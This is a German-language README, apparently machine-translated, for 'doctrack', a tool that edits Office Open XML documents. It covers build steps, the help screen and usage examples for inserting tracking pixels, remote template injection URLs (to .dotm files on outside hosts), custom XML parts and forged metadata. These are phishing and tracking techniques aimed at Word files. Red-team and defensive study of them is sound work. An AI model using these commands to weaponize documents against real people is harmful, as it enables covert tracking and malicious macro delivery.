
Werkzeug zur Manipulation und Bewaffnung von Office Open XML-Dokumenten.
Werkzeug zur Manipulation und Waffenisierung von Office Open XML-Dokumenten.
Sie müssen .Net 6.0 herunterladen. Um dann ein einzelnes Binary unter Windows zu erstellen:
$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true
Unter Linux:
$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true
$ doctrack --help
Werkzeug zur Manipulation und Waffenisierung von Office Open XML-Dokumenten.
-i, --input Eingabedateiname. Falls nicht vorhanden, wird eine neue Datei erstellt.
-o, --output Ausgabedateiname. Falls nicht gesetzt, wird das Dokument als --input-Datei gespeichert.
-m, --metadata Metadaten zum Übergeben (JSON-Datei).
-u, --url Einfügende URL.
-e, --template (Default: false) Falls gesetzt, aktiviert die Template-URL-Injection.
-s, --inspect (Default: false) Dokument inspizieren.
-c, --custom-part Einfügen eines Custom XML-Teils (XML-Datei)
--help Diesen Hilfebildschirm anzeigen.
Ein Word-Dokument erstellen und Dokumentmetadaten ändern:
$ doctrack -i test.docx -m metadata.json
Ein Tracking-Pixel einfügen und Dokumentmetadaten ändern:
$ doctrack -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png
Eine Remote-Template-URL einfügen (auch Remote-Template-Injection):
$ doctrack -i test.docx -o test.docx --url http://test.url/template.dotm --template
Einfügen eines Custom XML-Teils:
$ doctrack -i test.docx -o test.docx -c part.xml
Externe Ziel-URLs, Metadaten und Custom XML-Teile inspizieren:
$ doctrack -i test.docx --inspect
[External targets]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[Metadata]
Creator: wavvs
Title: doctrack
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:
[CustomXML Parts]
Part: /customXML/item.xml (25 bytes)